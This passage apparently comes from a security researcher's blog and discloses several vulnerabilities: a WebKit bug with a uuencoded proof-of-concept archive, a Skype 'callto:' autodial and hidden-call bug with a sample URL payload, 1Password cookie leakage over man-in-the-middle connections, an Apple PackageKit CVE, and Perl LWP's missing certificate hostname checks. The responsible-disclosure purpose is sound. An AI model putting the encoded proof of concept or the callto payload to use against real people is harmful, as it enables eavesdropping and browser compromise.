MJ6!LK)/]-0K1F4JSX;OLU9PE\]ZTH@$%>868J$X>Y56+JLZ!DN5D:E%SLQMY
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
%)@``````
`
end
</textarea>
</center></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 17.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<b>Thanks:</b></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
I would like to thank Cedric of the Apple Product Security team for the responsive and responsible handling of this issue.</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<span class="Apple-style-span" style="font-size: large;"><b></b></span>
<b><div style="display: inline !important; font: normal normal normal 12px/normal Helvetica; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<div style="display: inline !important;">
I would also like to thank the Google Security Team for putting in the effort to harden WebKit against many of these issues and protect their users.</div>
</div>
</b></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
Also, thanks cstone.</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 17.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<b>Related reading:</b></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
Excellent work by the Google/Chrome guys:</div>
<div style="color: #1636ee; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span style="color: black;"> <a href="http://blog.chromium.org/2008/12/security-in-depth-local-web-pages.html"><span style="text-decoration: underline;">http://blog.chromium.org/2008/12/security-in-depth-local-web-pages.html</span></a></span></div>
<div style="color: #1636ee; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span style="color: black;"> <a href="http://code.google.com/p/chromium/issues/detail?id=4197"><span style="text-decoration: underline;">http://code.google.com/p/chromium/issues/detail?id=4197</span></a></span></div>
<div style="color: #1636ee; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span style="color: black;"> <a href="http://code.google.com/p/browsersec/wiki/Part2"><span style="text-decoration: underline;">http://code.google.com/p/browsersec/wiki/Part2</span></a></span></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
This bug:</div>
<div style="color: #1636ee; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span style="color: black;"> <a href="http://trac.webkit.org/changeset/73444"><span style="text-decoration: underline;">http://trac.webkit.org/changeset/73444</span></a> </span></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<a href="http://support.apple.com/kb/HT1222"><span style="text-decoration: underline;">Apple's advisory page</span></a>, see CVE-2011-0167 in the latest Safari update</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
I found this bug a while ago -- before the following blog post was written, but I think people who find this kind of bug interesting would also be interested in lcamtuf's blog post:</div>
<div style="color: #1636ee; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span style="color: black;"> <span style="text-decoration: underline;"><a href="http://lcamtuf.blogspot.com/2010/10/attack-of-monster-frames-mini.html">http://lcamtuf.blogspot.com/2010/10/attack-of-monster-frames-mini.html</a></span></span></div>
<div>
<span style="color: black;"><br /></span></div>
</b></span></span></div>aaronhttp://www.blogger.com/profile/13938049864104760764noreply@blogger.com1tag:blogger.com,1999:blog-5783873584893336688.post-22450795246194121262011-02-02T22:10:00.000-08:002011-02-02T22:19:59.993-08:00Skype 5.0 Fixes Autodial and No-UI-dial VulnerabilitiesWell, it seems like Skype didn't bother to tell anyone to update to 5.0 for security reasons. I've been waiting for this release patiently, for months and months, since I reported this bug to them. Now that it is fixed, I'll disclose the bug myself. It seems like Skype has a poor excuse for a security response team, though. From people I have talked to, it seems like you cannot trust them to get back to security researchers, credit them for their findings, or disclose the vulnerabilities to their users. This is bad for Skype and bad for Skype's users. <br />
<br />
The first bug was really blatant: Any web page could cause you to dial a phone number by using Javascript to launch a 'callto:' URL. This was tested on Safari. This meant disclosure of your Skype name, along with unattended computers serving as audio bugs. Imagine how easy it would be to make a web page that attempts to launch a callto:temporary_skype_name_that_was_made_up_for_attacking_people after a predetermined period of inactivity. You could record everything going on at someone's house.<br />
<br />
The second bug was weird: A callto: based call could be made such that even after you attempted to cancel it, it would remain in progress but with no UI. You'd need to quit Skype in order to make it end. This was tested on Skype prior to version 5.0 on the Mac. To do it, you just need to dial using the recipients number twice. For example, to call 5551212, you would use: callto://5551212&5551212<br />
<br />
I found out that Skype 5.0 was released because I manually checked. I don't think that most user's do this on a regular basis. I bet there are a lot of people out there who are vulnerable to these issues.<br />
<br />
Nitesh Dhanjani found a bug similar to this on the iPhone. More information on his bug is available at [<a href="http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html">link</a>].aaronhttp://www.blogger.com/profile/13938049864104760764noreply@blogger.com0tag:blogger.com,1999:blog-5783873584893336688.post-9325264953863596632011-01-28T23:53:00.000-08:002011-01-28T23:53:56.655-08:001Password 3.5.4 addresses MITM Cookie Disclosure Issue<div style="font-family: Helvetica; font: normal normal normal 12px/normal 'Lucida Grande'; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">The 1Password update 3.5.4, released on January 28th, 2011, changelogs included the following note:</div><div style="font-family: Helvetica; font: normal normal normal 12px/normal 'Lucida Grande'; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">>> Updated thumbnail downloader to turn off default cookie operations and prevent fetching previews from sites with bad certificates.</div><div style="font-family: Helvetica; font: normal normal normal 12px/normal 'Lucida Grande'; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">ref: <a href="http://agile.ws/products/1Password/versions#v30852">http://agile.ws/products/1Password/versions#v30852</a></div><div style="font-family: Helvetica; font: normal normal normal 12px/normal 'Lucida Grande'; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">This may not seem like a big thing, but it should be to 1Password users. Prior to version 3.5.4, if a man in the middle attacker posed as a secure site that 1Password had a stored login to, the lack of certificate validation would allow cookies stored by Safari, and other applications like 1Password Agent that use the default cookie store to be leaked to attackers.</div><div style="font-family: Helvetica; font: normal normal normal 12px/normal 'Lucida Grande'; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">Your web browser normally warns you before connecting to a site with a bad SSL certificate, because there is danger in disclosing GET request arguments and Cookies to impostor websites. However, 1Password's agent did not fail as it should when encountering a bad certificate, even if the site had a valid certificate when you saved your login. When 1Password Agent made requests, it did so with the default cookie store. This means that session cookies and other sensitive cookies could be leaked to any site that posed as a secure site you login to whenever 1Password Agent attempted to store or update a thumbnail image of the site.</div><div style="font-family: Helvetica; font: normal normal normal 12px/normal 'Lucida Grande'; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">This issue was addressed in the 3.5.4 release of 1Password by no longer allowing 1Password Agent to connect to sites with bad certificates.</div><div style="font-family: Helvetica; font: normal normal normal 12px/normal 'Lucida Grande'; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">The Agile Web Solutions team fixed this bug very quickly after I notified them of the issue and should be commended for their quick response. They responded to this issue within 1 hour (wow!), and had a fix available to the public within 2 weeks. Given that I reported this over new years, thats incredibly impressive. Good job guys!</div><div style="font-family: Helvetica;">1Password users should update to the latest version so they are no longer vulnerable to this attack<span class="Apple-style-span" style="font-size: x-small;">.</span></div><div><br />
</div><div style="font-family: Helvetica;"></div>aaronhttp://www.blogger.com/profile/13938049864104760764noreply@blogger.com2tag:blogger.com,1999:blog-5783873584893336688.post-85318873645590403942011-01-06T09:12:00.000-08:002011-01-06T09:12:20.208-08:00Apple fixes CVE-2010-4013 in Mac OS X v10.6.6 updateIt's always nice to see Apple fix security holes I've reported. Thanks for promptly addressing this issue.<br />
<br />
The official description from their bulletin (<a href="http://support.apple.com/kb/HT4498">http://support.apple.com/kb/HT4498</a>):<br />
<br />
<br />
<div style="color: #333333; font-family: 'Lucida Grande', Geneva, Arial, Verdana, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 18px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><b style="font-weight: bold;">PackageKit</b></div><div style="color: #333333; font-family: 'Lucida Grande', Geneva, Arial, Verdana, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 18px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">CVE-ID: CVE-2010-4013</div><div style="color: #333333; font-family: 'Lucida Grande', Geneva, Arial, Verdana, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 18px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Available for: Mac OS X v10.6 through v10.6.5, Mac OS X Server v10.6 through v10.6.5</div><div style="color: #333333; font-family: 'Lucida Grande', Geneva, Arial, Verdana, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 18px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Impact: A man-in-the-middle attacker may be able to cause an unexpected application termination or arbitrary code execution</div><div style="color: #333333; font-family: 'Lucida Grande', Geneva, Arial, Verdana, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 18px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Description: A format string issue exists in PackageKit's handling of distribution scripts. A man-in-the-middle attacker may be able to cause an unexpected application termination or arbitrary code execution when Software Update checks for new updates. This issue is addressed through improved validation of distribution scripts. This issue does not affect systems prior to Mac OS X v10.6. Credit to Aaron Sigel of vtty.com for reporting this issue.</div>aaronhttp://www.blogger.com/profile/13938049864104760764noreply@blogger.com1tag:blogger.com,1999:blog-5783873584893336688.post-73485162076711946782010-12-28T23:19:00.000-08:002010-12-30T06:24:00.742-08:00Man-in-the-middle fun with Perl LWP<span class="Apple-style-span" style="font-family: Verdana, sans-serif;"><span class="Apple-style-span" style="font-size: x-small;">Note: If you don't care about Perl anymore, and you never have to audit projects that have PERL in them, just skip this entirely. This is basically about a perl gotcha that seems to have hit every project I've come across that uses LWP. Nothing more, nothing less.</span></span><br />
<span class="Apple-style-span" style="font-family: Verdana, sans-serif;"><br />
</span><br />
<span class="Apple-style-span" style="font-family: Verdana, sans-serif;">When you use perl and you want to access HTTP/HTTPS/FTP content, you'll typically use a pre-made module to accomplish the task. One of the most common modules to do this is LWP. LWP is not only used directly, but by several other popular modules to handle network communications. And this scares me...</span><br />
<span class="Apple-style-span" style="font-family: Verdana, sans-serif;"><br />
</span><br />
<span class="Apple-style-span" style="font-family: Verdana, sans-serif;">Why? Because perl programmers often use LWP to handle "web stuff". Code I have encountered that uses LWP may disallow certain protocols that can be accessed, such as "file:" because they know that they only want to access remote URLs, but does not often do anything special to handle HTTPS securely. This may be because the entire notion of validating certificates the LWP-way is so counterintuitive that even the most experience perl folks I know have never encountered this.</span><br />
<span class="Apple-style-span" style="font-family: Verdana, sans-serif;"><br />
</span><br />
<span class="Apple-style-span" style="font-family: Verdana, sans-serif;">Here's the issue with LWP and HTTPS:</span><br />
<span class="Apple-style-span" style="font-family: Verdana, sans-serif;"><br />
</span><br />
<span class="Apple-style-span" style="font-family: Verdana, sans-serif;">Unless you define a custom HTTP request header called "If-SSL-Cert-Subject" and set it to a regular expression that properly matches the subject field of an SSL certificate, you won't be doing proper hostname validation. Without hostname validation, you might as well not be using SSL.</span><br />
<span class="Apple-style-span" style="font-family: Verdana, sans-serif;"><br />
</span><br />
<span class="Apple-style-span" style="font-family: Verdana, sans-serif;"><span class="Apple-style-span" style="color: red;"><b>I have not come across a single project that uses LWP and has hostname validation enabled.</b></span> There's a lot of code out there and I'm sure someone has done it right somewhere. I have a feeling this lack of validation is because (a) programmers expect HTTPS libraries to do this by default, and (b) the interface basically makes no sense. </span><br />
<span class="Apple-style-span" style="font-family: Verdana, sans-serif;"><br />
</span><br />
<span class="Apple-style-span" style="font-family: Verdana, sans-serif;">Here's a snippet from the LWP perldoc that describes this functionality:</span><br />
<span class="Apple-style-span" style="font-family: Verdana, sans-serif;"><br />
</span><br />
<div style="text-align: center;"><div style="text-align: left;"><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"> The request can contain the header "If‐SSL‐Cert‐Subject" in order to </span><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">make the request conditional on the content of the server certificate. </span><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">If the certificate subject does not match, no request is sent to the </span><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">server and an internally generated error response is returned. The </span><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">value of the "If‐SSL‐Cert‐Subject" header is interpreted as a Perl </span><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">regular expression.</span></div></div><div><span class="Apple-style-span" style="font-family: Verdana, sans-serif;"><br />
</span></div><div><span class="Apple-style-span" style="font-family: Verdana, sans-serif;">Remember that a certificate's subject may look like this: </span><br />
<span class="Apple-style-span" style="font-family: Verdana, sans-serif;"><br />
</span><br />
<span class="Apple-style-span" style="font-family: Verdana, sans-serif;">https://www.google.com:</span><br />
<span class="Apple-style-span" style="font-family: Verdana, sans-serif;"></span><br />
<span class="Apple-style-span" style="font-family: Verdana, sans-serif;"><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">subject=/C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com</span></span><br />
<br />
<div>or like this:<br />
<br />
</div><div>https://www.godaddy.com:</div><div><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">subject=/C=US/ST=Arizona/L=Scottsdale/1.3.6.1.4.1.311.60.2.1.3=US/1.3.6.1.4.1.311.60.2.1.2=AZ/O=GoDaddy.com, Inc/OU=MIS Department/CN=www.GoDaddy.com/serialNumber=0796928-7/2.5.4.15=V1.0, Clause 5.(b)</span></div><div><br />
</div><div>As the value of this header is a regex, one cannot simply use a hostname. Remember that /domain.com/ will match "someotherdomain.com" or even "hacker.anotherdomain.computerparts.topleveldomain". Your code will still be vulnerable to attackers unless your regular expression is properly anchored and you take the time to properly parse the subject line which is a chore to say the least. Additionally, subjects are not guaranteed to all follow the same order or format, which makes writing a general purpose check rather difficult.</div><div><br />
</div><div><span class="Apple-style-span" style="color: red;"><b>And remember, if you don't do this (correctly), you might as well not be using SSL.</b></span></div><div><br />
</div><div>I have filed a couple of bugs against the larger perl projects I am aware of that use LWP. I would strongly suggest that any perl programmers reading this check to see if they have used LWP and if so, if they have actually enabled correct hostname validation. </div><div><br />
</div><div>Here's a snippet of perl blatantly ripped out of the perldoc for LWP::UserAgent that demonstrates setting the header so you can play around with it:</div><div><br />
</div><div><div><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><span class="Apple-style-span" style="color: #444444;">#!/usr/bin/perl</span></span></div><div><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><span class="Apple-style-span" style="color: #444444;">require LWP::UserAgent;</span></span></div><div><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><span class="Apple-style-span" style="color: #444444;">my $ua = LWP::UserAgent->new;</span></span></div><div><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><span class="Apple-style-span" style="background-color: white;"><span class="Apple-style-span" style="color: #444444;"># If no If-SSL-Cert-Subject header exists, no hostname validation is on</span></span></span></div><div><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><span class="Apple-style-span" style="background-color: white;"><span class="Apple-style-span" style="color: #444444;"># Here's a certificate check that can by bypassed by anyone. Think attacker.domain.combinationlockfactory.com</span></span></span></div><div><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><span class="Apple-style-span" style="background-color: white;"><span class="Apple-style-span" style="color: #444444;">#</span><span class="Apple-style-span" style="color: red;">$ua->default_header("If-SSL-Cert-Subject"=>'domain.com');</span></span></span></div><div><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><span class="Apple-style-span" style="background-color: white;"><span class="Apple-style-span" style="color: #444444;"># Any of the following lines will validate https://www.godaddy.com...</span></span></span></div><div><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><span class="Apple-style-span" style="background-color: white;"><span class="Apple-style-span" style="color: #444444;">#</span><span class="Apple-style-span" style="color: red;">$ua->default_header("If-SSL-Cert-Subject"=>'Domain Control Validated');</span></span></span></div><div><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><span class="Apple-style-span" style="background-color: white;"><span class="Apple-style-span" style="color: #444444;">#</span><span class="Apple-style-span" style="color: red;">$ua->default_header("If-SSL-Cert-Subject"=>'www.Go');</span></span></span></div><div><div><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><span class="Apple-style-span" style="background-color: white;"><span class="Apple-style-span" style="color: #444444;">#</span><span class="Apple-style-span" style="color: red;">$ua->default_header("If-SSL-Cert-Subject"=>'www.GoDaddy.com');</span></span></span></div></div><div><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><span class="Apple-style-span" style="color: #444444;">$ua->timeout(10);</span></span></div><div><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><span class="Apple-style-span" style="color: #444444;">my $response = $ua->get('https://www.godaddy.com/');</span></span></div><div><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><span class="Apple-style-span" style="color: #444444;">if ($response->is_success) { print 